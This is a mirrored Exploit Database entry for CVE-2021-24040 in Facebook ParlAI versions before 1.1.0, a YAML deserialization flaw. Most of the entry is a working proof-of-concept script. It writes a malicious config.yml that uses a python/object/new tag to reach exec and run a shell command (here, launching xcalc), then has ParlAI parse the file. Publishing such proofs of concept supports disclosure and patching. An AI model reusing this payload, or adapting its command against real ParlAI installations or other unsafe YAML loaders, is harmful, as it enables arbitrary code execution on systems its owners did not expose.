Facebook ParlAI 1.0.0 – Deserialization of Untrusted Data in parlai

• Exploit Database
• 123 阅读

• 作者： Abhiram V
  日期： 2021-09-13
• 类别：

  • local
  平台：

  • Python
• 来源：https://www.exploit-db.com/exploits/50289/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50

  # Exploit Title: Facebook ParlAI 1.0.0 -Deserialization of Untrusted Data in parlai # Date: 2021-09-11 # Exploit Author: Abhiram V # Vendor Homepage: https://parl.ai/ # Software Link: https://github.com/facebookresearch/ParlAI # Version: < 1.1.0 # Tested on: Linux # CVE: CVE-2021-24040 # References : # https://github.com/facebookresearch/ParlAI/security/advisories/GHSA-m87f-9fvv-2mgg # | https://anon-artist.github.io/blogs/blog3.html |   ############################################################################   Introduction ParlAI (pronounced “par-lay”) is a free, open-source python framework for sharing, training and evaluating AI models on a variety of openly available dialogue datasets.   ############################################################################   Vulnerability details   ############################################################################   Description ParlAI was vulnerable to YAML deserialization attack caused by unsafe loading which leads to Arbitrary Code Execution.   Proof of Concept   Create the following PoC file (exploit.py)   import os #os.system(&apos;pip3 install parlai&apos;) from parlai.chat_service.utils import config exploit = """!!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:exec }] listitems: "__import__(&apos;os&apos;).system(&apos;xcalc&apos;)" """ open(&apos;config.yml&apos;,&apos;w+&apos;).write(exploit) config.parse_configuration_file(&apos;config.yml&apos;)   Execute the python script ie, python3 exploit.py   Impact Code Execution   ############################################################################